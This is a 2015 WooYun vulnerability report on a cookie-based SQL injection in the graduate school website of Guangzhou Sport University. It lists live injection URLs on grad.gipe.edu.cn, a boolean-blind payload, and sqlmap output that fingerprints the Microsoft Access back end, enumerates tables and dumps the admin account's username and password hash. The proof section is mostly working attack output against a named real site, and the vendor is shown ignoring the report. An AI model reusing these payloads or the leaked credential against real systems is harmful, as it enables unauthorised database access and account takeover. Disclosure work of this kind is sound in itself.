漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-094238
漏洞标题：广州体育学院研究生部Cookie注入(附带两处)
相关厂商：CCERT教育网应急响应组
漏洞作者： qq2078933383
提交时间：2015-01-28 10:46
修复时间：2015-02-02 10:48
公开时间：2015-02-02 10:48
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：12
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-01-28： 细节已通知厂商并且等待厂商处理中
2015-02-02： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
Cookie
详细说明：
Cookie注入
漏洞证明：
注入点:
http://grad.gipe.edu.cn/shownews.asp?id=850
http://grad.gipe.edu.cn/shownews.asp?id=879&FL=%CC%AC%CD%A8%D6%AA id=879
sqlmap identified the following injection points with a total of 126 HTTP(s) req
uests:
---
Place: Cookie
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=850 AND 1683=1683
---
[18:16:26] [INFO] testing MySQL
[18:16:26] [WARNING] the back-end DBMS is not MySQL
[18:16:26] [INFO] testing Oracle
[18:16:27] [WARNING] the back-end DBMS is not Oracle
[18:16:27] [INFO] testing PostgreSQL
[18:16:27] [WARNING] the back-end DBMS is not PostgreSQL
[18:16:27] [INFO] testing Microsoft SQL Server
[18:16:27] [WARNING] the back-end DBMS is not Microsoft SQL Server
[18:16:27] [INFO] testing SQLite
[18:16:28] [WARNING] the back-end DBMS is not SQLite
[18:16:28] [INFO] testing Microsoft Access
[18:16:28] [INFO] confirming Microsoft Access
[18:16:29] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[18:16:29] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\grad.gipe.edu.cn'
[*] shutting down at 18:16:29
Database: Microsoft_Access_masterdb
[3 tables]
+-------+
| user |
| admin |
| news |
+-------+
Database: Microsoft_Access_masterdb
Table: admin
[6 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| user | non-numeric |
| content | non-numeric |
| id | numeric |
| password | non-numeric |
| title | non-numeric |
| username | non-numeric |
+----------+-------------+
Database: Microsoft_Access_masterdb
Table: admin
[1 entry]
+----+-------------------------+--------+---------------------------------------
----------------------------------------------------+----------+----------------
--+
| id | title | user | content
| username | password
|
+----+-------------------------+--------+---------------------------------------
----------------------------------------------------+----------+----------------
--+
| 1 | ??????2015????????????? | admin | <P>\r\n<P> &nbs
p; <A href="http://grad.gipe.edu.cn/UploadFiles/??? | admin | 5e1c96be976c766
8 |
+----+-------------------------+--------+---------------------------------------
----------------------------------------------------+----------+----------------
--+
修复方案：
过滤！
版权声明：转载请注明来源 qq2078933383@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-02-02 10:48
厂商回复：
最新状态：
暂无